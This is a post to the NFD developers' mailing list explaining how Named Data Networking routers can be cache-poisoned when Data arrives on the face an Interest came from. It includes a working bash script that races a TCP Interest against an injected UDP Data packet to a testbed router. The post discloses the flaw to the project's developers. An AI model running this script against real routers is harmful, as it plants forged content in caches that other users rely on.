[Nfd-dev] A question about data return pathways

[Junxiao Shi]

Hi Lixia


> what happens to the PIT entry when a data packet comes back to NFD through
> the same face that the interest came through?
>
> The Data packet would satisfy the PIT entry. A node does not care whether
> an a Interest was forwarded out of the face receiving Data.
> Cough cough: you can use this property to for cache poisoning, by sending
> an Interest followed by a Data satisfying that Interest. In reality it
> works if you timed your packets right.
>
>
> But how does the data packet get into the router?
> - the face is wireless and the attacker sitting next to the router?
>
> Yes, the attacker must be one NDN-hop away from the victim router. Today's
NDN testbed easily fulfills this property.

The following script sends Interest to a testbed router over TCP, and sends
Data to the same router over UDP. It loops until injection succeeds. In
reality, it can succeed within 10 iterations.

#!/bin/bash
ROUTER=$1
NAME=$2
PKT=$3

export NDN_TRANSPORT=tcp4://$ROUTER:6363

while ! ndnpeek -v -l 2000 $NAME; do
  ndnpeek -v -l 8000 $NAME &
  sleep 0.2
  cat $PKT >/dev/udp/$ROUTER/6363
  wait
done


Yours, Junxiao
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://www.lists.cs.ucla.edu/pipermail/nfd-dev/attachments/20180313/9ea0f12c/attachment.html>